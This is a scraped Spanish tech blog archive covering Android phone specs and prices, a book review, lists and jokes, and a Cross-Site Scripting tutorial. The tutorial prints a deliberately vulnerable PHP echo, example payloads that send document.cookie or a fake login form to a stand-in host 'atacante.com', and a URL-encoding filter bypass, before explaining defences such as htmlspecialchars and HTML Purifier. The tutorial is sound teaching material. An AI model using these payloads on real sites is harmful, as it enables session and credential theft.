No dudéis en dejar un comentario si descubrís algún gazapo (cosa más que posible), si encontráis alguno de ellos a mejor precio (hay que mirar por el bolsillo en época de crisis), o si queréis contarnos cualquier otra cosa relacionada con los móviles y / o Android.

Acer Liquid

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps/HSUPA 2 Mbps
• Pantalla capacitiva de 3.5” a 480×800. 256K colores
• Procesador Qualcomm Snapdragon 8250 a 768 MHz. 256MB RAM
• Wi-Fi 802.11 b/g
• Bluetooth v2.0 con A2DP
• Cámara de 5 MP con autofocus, sin flash
• Grabación de vídeo a 640×480, 22fps
• GPS
• Sin radio
• Batería de Li-Ion 1350 mAh (Espera 400h, Conversación 5h)
• 319€ en Pixmania

El segundo móvil de Acer, que no es una compañía que me guste demasiado. Muy buen procesador, de lo mejorcito hasta la fecha, y muy buena pantalla. Fotos muy buenas para lo que hay en Android hasta ahora, lástima la falta de flash. Buen vídeo. Buen precio. Muy poca duración de la batería. En breve se lanzará la nueva versión, el Acer Liquid e, cuya principal novedad (¿la única?) es el uso de Android 2.1 Éclair.

Geeksphone One

• Cuatribanda GSM/GPRS/EDGE. 3G: HSDPA 7.2 Mbps/HSUPA 5.7 Mbps
• Pantalla resistiva de 3.2” a 240×400. 256K colores
• Procesador Qualcomm MSM 7225 a 528 MHz. 256MB RAM
• Wi-Fi 802.11 b/g+
• Bluetooth v2.1 con A2DP
• Cámara de 3.1MP con autofocus, sin flash
• GPS
• Sin radio
• Batería de Li-Ion 1110 mAh (Espera 200h, Conversación 3h 20 min)
• 299€ en su web (Geeks’Phone Store)

El primer y único teléfono español con Android; hasta la fecha, al menos. La empresa, de reciente creación, está ubicada en Madrid.

HTC Hero

• Cuatribanda GSM/GPRS/EDGE. 3G dual HSDPA 7.2 Mbps/HSUPA 2 Mbps
• Pantalla capacitiva de 3.2” a 320×480. 65K colores
• Procesador Qualcomm MSM 7200A a 528 MHz. 288MB RAM
• Wi-Fi 802.11 b/g
• Bluetooth v2.0 con A2DP
• Cámara de 5 MP con autofocus, sin flash
• Grabación de vídeo a 352×288, 15fps
• GPS
• Sin radio
• Batería de Li-Ion 1350 mAh (Espera 440h, Conversación 8h)
• 369,99€ en Expansys

Posiblemente uno de los mejores móviles Android actualmente, no en vano hace poco fue nombrado mejor terminal del año por la organización del Mobile World Congress. Buen hardware. Buena calidad de fotografía, mala de vídeo. Interfaz HTC Sense. Poca duración de la batería (día y medio de uso normal).

HTC Magic

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps/HSUPA 2 Mbps
• Pantalla capacitiva de 3.2” a 320×480. 65K colores
• Procesador Qualcomm MSM 7200A a 528 MHz. 288MB RAM (192MB Vodafone)
• Wi-Fi 802.11 b/g
• Bluetooth v2.0 con A2DP
• Cámara de 3.15 MP con autofocus, sin flash
• Grabación de vídeo a 352×288, 15fps
• GPS
• Sin radio
• Batería de Li-Ion 1340 mAh (Espera 420h, Conversación 7h 30 min)

Es posible que se trate del móvil Android más utilizado actualmente debido a su bajo precio. No tiene un mal hardware, pero tampoco es una maravilla. Sus fotografías son bastante buenas para un móvil de 3MP, siempre y cuando no haya poca luz (es la misma cámara que la HTC Dream pero con mejores algoritmos). Vídeo malo. La batería dura unos 2 días con uso normal.

HTC Tattoo

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps
• Pantalla capacitiva de 2.8” a 240×320. 65K colores
• Procesador Qualcomm MSM 7225 a 528 MHz. 256MB RAM
• Wi-Fi 802.11 b/g
• Bluetooth v2.0 con A2DP
• Cámara de 3.15 MP, sin autofocus, sin flash
• Grabación de vídeo a 352×288, 15fps
• GPS
• Radio estereo con RDS
• Batería de Li-Ion 1100 mAh (Espera 520 h, Conversación 6h 30 min)
• 207,12€ en Expansys

Un móvil sencillo, barato y con buenas prestaciones (para su precio). Pensado para aquellos que quieran probar Android sin tener que gastar demasiado. Calidad de fotografía aceptable, mala calidad de vídeo. La batería dura bastante. Viene con HTC Sense y Android 1.6 Donut por defecto.

LG GW620

• Cuatribanda GSM/GPRS/EDGE. 3G dual HSDPA 7.2 Mbps/HSUPA 2 Mbps
• Pantalla resistiva de 3” a 320×480. 256K colores
• Wi-Fi 802.11 b/g
• Bluetooth v2.0 con A2DP
• Cámara de 5 MP con autofocus y flash LED
• Grabación de vídeo a 720×480, 30fps
• GPS
• Radio estereo
• Batería de Li-Po 1500 mAh (Espera 600h, Conversación 8h)
• 345,78€ en Pixmania / 339€ en Maxmovil

El primer móvil Android de los coreanos LG. Tiene un teclado completo QWERTY deslizable. Muy buena cámara, como suele ocurrir en muchos de los móviles de la firma. Buena grabación de vídeo. Buena duración de la batería.

Motorola Backflip

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps
• Pantalla capacitiva de 3.1” a 320×480. 256K colores
• Wi-Fi 802.11 b/g
• Bluetooth v2.1 con A2DP
• Cámara de 5 MP con autofocus, flash LED
• Grabación de vídeo a 480×320, 24fps
• GPS
• Sin radio
• Batería de Li-Ion 1400 mAh (Espera 315h, Conversación 6h)

Con teclado completo “reversible” y Motorola Blur. La parte trasera del terminal funciona a modo de trackpad, un invento que han bautizado como “backtrack”.

Motorola DEXT MB220

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps
• Pantalla capacitiva de 3.1” a 320×480. 256K colores
• Procesador Qualcomm MSM 7201A a 528 MHz. 256MB RAM
• Wi-Fi 802.11 b/g
• Bluetooth v2.1 con A2DP
• Cámara de 5 MP con autofocus, sin flash
• Grabación de vídeo a 480×320, 24fps
• GPS
• Sin radio
• Batería de Li-Ion 1420 mAh (Espera 320h, Conversación 6h)
• 508,97€ en Pixmania / 499€ en Maxmovil

Con teclado QWERTY completo. La cámara no es una maravilla. Batería suficiente.

Motorola Milestone

• Cuatribanda GSM/GPRS/EDGE. 3G dual HSDPA 10.2 Mbps/HSUPA 5.76 Mbps
• Pantalla capacitiva de 3.7” a 480×854. 16M colores
• Procesador ARM Cortex A8 a 600MHz. 256MB RAM
• Wi-Fi 802.11 b/g
• Bluetooth v2.1 con A2DP
• Cámara de 5 MP con autofocus, flash LED dual
• Grabación de vídeo a 720×480, 24fps
• GPS
• Sin radio
• Batería de Li-Ion 1400 mAh (Espera 350h, Conversación 6h 30min)
• 449,82€ en VIP Movil

El Motorola Milestone, o Motorola Droid como se le conoce en EEUU, es uno de los terminales Android con mejor hardware que podemos encontrar actualmente, a la altura del Nexus One. Tiene un teclado QWERTY deslizable completo. Muy buena calidad de fotografía y vídeo. Buena duración de la batería.

Nexus One

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps/HSUPA 2 Mbps
• Pantalla AMOLED capacitiva de 3.7” a 480×800.
• Procesador Qualcomm Snapdragon 8250 a 1GHz. 512MB RAM
• Wi-Fi 802.11 a/b/g
• Bluetooth v2.1 con A2DP
• Cámara de 5 MP con autofocus y flash LED
• Grabación de vídeo a 720×480, 20fps
• GPS
• Sin radio
• Batería de Li-Ion 1400 mAh (Espera 290h, Conversación 10h)
• 596,82€ en VIP Movil

El teléfono móvil de Google, fabricado por los taiwaneses HTC, sin duda una de las mejores compañías en el mundo Android, si no la mejor. La calidad de la cámara es media, sin más. Buen vídeo. Tendrá que soportar el acoso y derribo de otros productos de la propia HTC, como el HTC Desire y el HTC Incredible.

Samsung I5700 Galaxy Spica

• Cuatribanda GSM/GPRS/EDGE. 3G dual HSDPA 3.6 Mbps
• Pantalla capacitiva de 3.2” a 320×480, 16M colores.
• Procesador a 800MHz.
• Wi-Fi 802.11 b/g
• Bluetooth v2.1 con A2DP
• Cámara de 3.15MP con autofocus, sin flash
• Grabación de vídeo a 352×288
• GPS
• Sin radio
• Batería de Li-Ion 1500 mAh (Espera 650h, Conversación 11h 30min)
• 279€ en Fnac

También llamado Galaxy Lite. Se trata del hermano menor del Samsung Galaxy.

Samsung I7500 Galaxy

• Cuatribanda GSM/GPRS/EDGE. 3G tribanda HSDPA 7.2 Mbps/HSUPA 5.76 Mbps
• Pantalla AMOLED capacitiva de 3.2” a 320×480. 16M colores
• Procesador Qualcomm MSM 7200A a 528MHz
• Wi-Fi 802.11 b/g
• Bluetooth v2.0 con A2DP
• Cámara de 5 MP con autofocus, flash LED
• Grabación de vídeo a 352×288, 30fps
• GPS
• Sin radio
• Batería de Li-Ion 1500 mAh (Espera 450h, Conversación 9h 20min)
• 229,01€ en Fnac

El primer móvil Android de Samsung, hermano mayor del Galaxy Spica. Tiene buenas características para su precio actual, aunque se lanzó con algún que otro bug y un MUY mal aprovechamiento de la batería. Actualmente, parece que estos problemas están solucionados, aunque la duración de la batería siga sin ser impresionante. Muy buenas fotos, mal vídeo. No parece que Android 2.x vaya a llegar a este aparato, al menos oficialmente, cosa que sí ocurrirá con el Galaxy Spica.

Móviles Android en el futuro

Por último, otros móviles Android de los que podremos disfrutar en un futuro cercano:

• Acer Liquid e (Abril 2010): Un Acer Liquid con Android 2.1 Éclair.
• Acer beTouch E110 (Marzo 2010): Móvil de gama baja, sin WiFi, con pantalla resistiva a 240×320, sin flash,…
• Acer beTouch E400 (Abril 2010): Móvil de gama media.
• Alcatel OT-980 (Junio 2010): Móvil de gama baja. Con teclado físico. Algo feo.
• Archos Phone Tablet (?): 3.5G, procesador ARM Cortex a 1GHz, pantalla de 4.3” a 854×480, ultra fino (10mm de espesor)
• Dell Mini 5 (?): Tablet / teléfono móvil con conectividad 3G y pantalla de 5”.
• HTC Desire (Abril 2010): Uno de los grandes pesos pesados de la nueva hornada. Pantalla AMOLED capacitiva multitáctil, procesador Qualcomm Snapdragon 8250 a 1GHz, 576MB de RAM, Android 2.1 con HTC Sense, …
• HTC Incredible (?): Otro de los móviles a tener en cuenta en el futuro. Como el Desire, utilizará un procesador Snapdragon, capado esta vez a 768 MHz (¿para reducir el consumo de batería?). Contará con una cámara 8MP, y, por supuesto, vendrá con Android 2.1 y HTC Sense.
• HTC Legend (Abril 2010): El teléfono llamado a sustituir al famoso HTC Hero. Se ha mejorado el procesador, se ha aumentado la memoria, la pantalla pasa a ser AMOLED, se añade flash LED…
• HTC Supersonic (?): Supuesto primer móvil con conectividad WiMAX, un estandar de comunicación de cuarta generación.
• Motorola Motoroi (?): Con cámara de 8MP con flash Xenon capaz de grabar vídeo a 720p.
• Motorola QUENCH (Primer cuarto de 2010): Incorporará el nuevo sistema de entrada de texto de los creadores del T9: Swype
• Samsung Beam (?): Con las nuevas pantallas Super AMOLED, un picoproyector y cámara de 8MP.
• Sony Ericsson XPERIA X10 (Primer cuarto del 2010): El primer móvil Android de Sony Ericsson. Con procesador Snapdragon, pantalla capacitiva de 4”, cámara de 8MP y grabación de vídeo a 800×480.
• Sony Ericsson XPERIA X10 mini (Segundo cuarto de 2010): Una versión recortada y de tamaño reducido del XPERIA X10
• Sony Ericsson XPERIA X10 mini (Segundo cuarto de 2010): Parecido al XPERIA X10 mini, con teclado QWERTY deslizable

Numerati

Calificación:
Autor: Stephen Baker
Año: 2009
Editorial: Seix Barral

“Numerati, lo saben todo de ti” es el título del primer libro de Stephen Baker, periodista (escribe para BusinessWeek), blogger (mantiene una reciente bitácora que nació como una crónica de los primeros pasos de su libro) y ciudadano preocupado y fascinado por los nuevos intereses de los matématicos y los informáticos de hoy en día.

¿Perteneces a ese grupo de personas que, con cada nuevo lanzamiento de Google, comenta medio en serio, medio en broma, que es alarmante la cantidad de información que puede llegar a recopilar una compañía sobre nuestros hábitos? Pues no sabes ni la mitad.

Si te interesa el tema de la privacidad, la creación de modelos matemáticos sobre las personas, y la búsqueda de patrones, echa un vistazo a este libro. Es de fácil lectura, curioso y muy entretenido. Pero ojo, no es apto para magufos.

1. (1) Carlos Slim Helu, propietario de América Móvil. 53.500 millones de dólares.
2. (2) Bill Gates, fundador de Microsoft. 53.000 millones de dólares.
3. (6) Larry Ellison, fundador de Oracle. 28.000 millones de dólares.
4. (24) Sergey Brin, co-fundador de Google. 17.500 millones de dólares.
5. (24) Larry Page, co-fundador de Google. 17.500 millones de dólares.
6. (28) Azim Premji, fundador de Wipro Technologies. 17.000 millones de dólares.
7. (33) Steven Ballmer, CEO de Microsoft. 14.500 millones de dólares.
8. (37) Paul Allen, co-fundador de Microsoft. 13.500 millones de dólares.
9. (37) Michael Dell, fundador de Dell. 13.500 millones de dólares.
10. (43) Jeff Bezos, fundador y CEO de Amazon. 12.300 millones de dólares.

Hay 10 tipos de personas, las que saben ternario, las que no, y las que lo confunden con binario.

– Anónimo

Muchas de estas vulnerabilidades se aprovechan de la capacidad de Adobe Reader de ejecutar código JavaScript, por lo os recomendaría desactivarlo inmediatamente desmarcando la casilla “Activar JavaScript para Acrobat” en Edición -> Preferencias -> JavaScript. Igualmente, sería recomendable desactivar la visión de PDF desde el navegador.

También podéis probar un lector de PDF alternativo, como Sumatra PDF. U otro sistema operativo.

La “villa” de Argleton (vía Wikipedia)

¿Qué hay detrás de este misterio? ¿por qué Google se inventó en su día toda una ciudad inexistente? Algunos sostienen que se añadió a modo de marca de agua, para poder detectar violaciones de copyright. Desde Google, sin embargo, afirmaron que se trató de un simple error. La verdad, nunca la sabremos.

Cross-Site Scripting, el problema

Veamos un pequeño ejemplo. Supongamos que escribimos un sencillo script en PHP que no hace más que mostrar el valor de una variable mensaje pasada por GET. Algo tan sencillo como esto:

<?php
  echo $_GET['mensaje'];
?>

Como no tratamos la entrada del usuario de ninguna forma, dejamos la puerta abierta a que se muestre cualquier tipo de código HTML en nuestra página, incluido, por ejemplo, un formulario de login falso, o un iframe con un formulario falso:

http://localhost/index.php?mensaje=<form action="http://atacante.com/captura.php">Usuario: <input type="text" name="usuario"/><br/>Contraseña: <input type="text" name="pass"/></form>

un script que use document.location para hacer que el usuario ejecute un archivo PHP de la web del atacante, pasándole las cookies:

http://localhost/index.php?mensaje=<script>document.location='http://atacante.com/captura.php?cookies='+document.cookie</script>

o una imagen transparente de 1×1 del servidor del atacante, pasándole a la URL el valor de las cookies, lo cuál sería bastante difícil de detectar, a menos que el usuario se fijara en el código:

http://localhost/mensajes.php?mensaje=<script>document.write("<img widht='0' height='0' src='http://atacante.com/img.png?valores="+document.cookie'>")</script>

El tipo de vulnerabilidad XSS que sufre nuestra pequeña página de ejemplo se conoce como “XSS no persistente”, porque no se modifica la web original. El atacante debe conseguir que un usuario de la web haga clic sobre uno de sus enlaces especialmente formados, por ejemplo, ocultándolo con un acortador de URLs.

Las vulnerabilidades de XSS persistente son mucho más peligrosas. Esta se da cuando se almacenan los datos introducidos por los usuarios, en una base de datos, por ejemplo, y estos, a su vez, se muestran a otros usuarios. Esto sucede, por ejemplo, en blogs y foros con los comentarios y las respuestas de los hilos. En estos casos bastaría con que el usuario visitara la página vulnerable para que se ejecutara el código del atacante.

Cross-Site Scripting, la solución

La solución pasa por filtrar todos los datos que mostremos en la aplicación y que procedan del usuario, no sólo datos introducidos en un formulario o parámetros en la URL, sino también cosas como cabeceras HTTP o cookies. En PHP podemos utilizar para esto la función htmlspecialchars, que convierte los caracteres ", <, > y & a las entidades HTML correspondientes.

En contadas ocasiones también puede interesarnos pasar como segundo parámetro a la función la constante ENT_QUOTES, para sustituir las comillas simples (') además de los caracteres anteriores. En el siguiente código, por ejemplo, al haber utilizado comillas simples para encerrar el valor del atributo, tendríamos que convertir estos caracteres para que el usuario no pudiera salir de este contexto:

<?php
  $aspecto = $_GET['aspecto'];
  echo "<div class='{$aspecto}'>...</div>";
?>

También es importante especificar el juego de caracteres del documento, bien a través de la etiqueta meta, o bien usando la cabecera HTTP correspondiente. De otra forma el atacante podría utilizar texto en UTF-7, que codifica los símbolos < y >, entre otros, con lo que htmlspecialchars no los reemplazaría. Bastaría entonces engañar al navegador para hacerle pensar que UTF-7 es la verdadera codificación del archivo, por ejemplo con un iframe con texto UTF-7, para que se lanzara el ataque.

Por último hay muchos casos en los que htmlspecialchars no nos será de ninguna utilidad, y donde será necesario estar muy atentos y aplicar el sentido común. Un ejemplo son los atributos donde se puede utilizar la directiva javascript:

<?php
  $enlace = $_GET['enlace'];
  // Peligro: index.php?enlace=javascript:alert(document.cookie)
  echo "<a href='{$enlace}'>Enlace</a>";
?>

En estas situaciones tampoco bastaría con filtrar el texto “javascript:” ya que la cadena se puede manipular de distintas formas para burlar el filtrado. Se podría utilizar, por ejemplo, los caracteres de la codificación de URLs, sustituyendo la j por %6A:

http://localhost/pagina.php?enlace=%6Aavascript:alert(document.cookie)

También existen técnicas mucho menos conocidas, como el uso de la etiqueta y el atributo style mediante la propiedad expression de IE, o la palabra reservada url.

Para todos estos casos menos comunes lo mejor es no intentar reinventar la rueda y utilizar una librería especialmente pensada para lidiar con vulnerabilidades de XSS, como HTML Purifier.

Por último, una forma de mitigar hasta cierto punto las posibles vulnerabilidades XSS que podamos haber pasado por alto sería poner la opción session.cookie_httponly a true en php.ini, de forma que al crear las cookies se añada por defecto este flag, que indica a los navegadores que lo soportan que no se debe permitir el acceso a las cookies a través de scripting.

• Días 1 – 10: Aprende sobre las variables, constantes, matrices, cadenas, expresiones, instrucciones, funciones, …
• Días 11 – 21: Aprende sobre el control de flujo, punteros, referencias, clases, objetos, herencia, polimorfismo, …
• Días 22 – 697: Desarrolla montones de aplicaciones. Pásalo bien programando, pero no olvides aprender de tus errores.
• Días 698 – 3.648: Interacciona con otros programadores. Trabaja con otros desarrolladores en distintos proyectos. Aprende de ellos.
• Días 3.649 – 7.781: Aprende física teórica avanzada y formula una teoría consistente sobre la gravitación cuántica.
• Días 7.782 – 14.611: Aprende bioquímica, biología molecular, genética, …
• Día 14.611: Utiliza tus conocimientos en biología para crear una poción rejuvenecedora.
• Día 14.611: Utiliza tus conocimientos sobre física para crear un condensador de flujo y viaja en el tiempo al día 21.
• Día 21: Sustituye a tu antiguo yo.

1. Distrito 9 (12.639.000)
2. Avatar (11.326.000)
3. En tierra hostil (7.930.000)
4. Up (5.437.000)
5. Malditos bastardos (5.376.000)
6. Precious (4.922.000)
7. Up In The Air (4.855.000)
8. Un tipo serio (3.836.000)
9. The Blind Side (1.845.000)
10. An Education (683.000)

Y tú, ¿quién piensas que se llevará la estatuilla esta noche?

Not the droids you are looking for

Linux vs. BSD

Adultery

Azumanga daioh Mac OS

Commodore 64 vintage

Hacker (Original por theartofsin)

Home

Read a book

Ubuntu animals

Don’t take my torrents (Original por kYnQuinhe)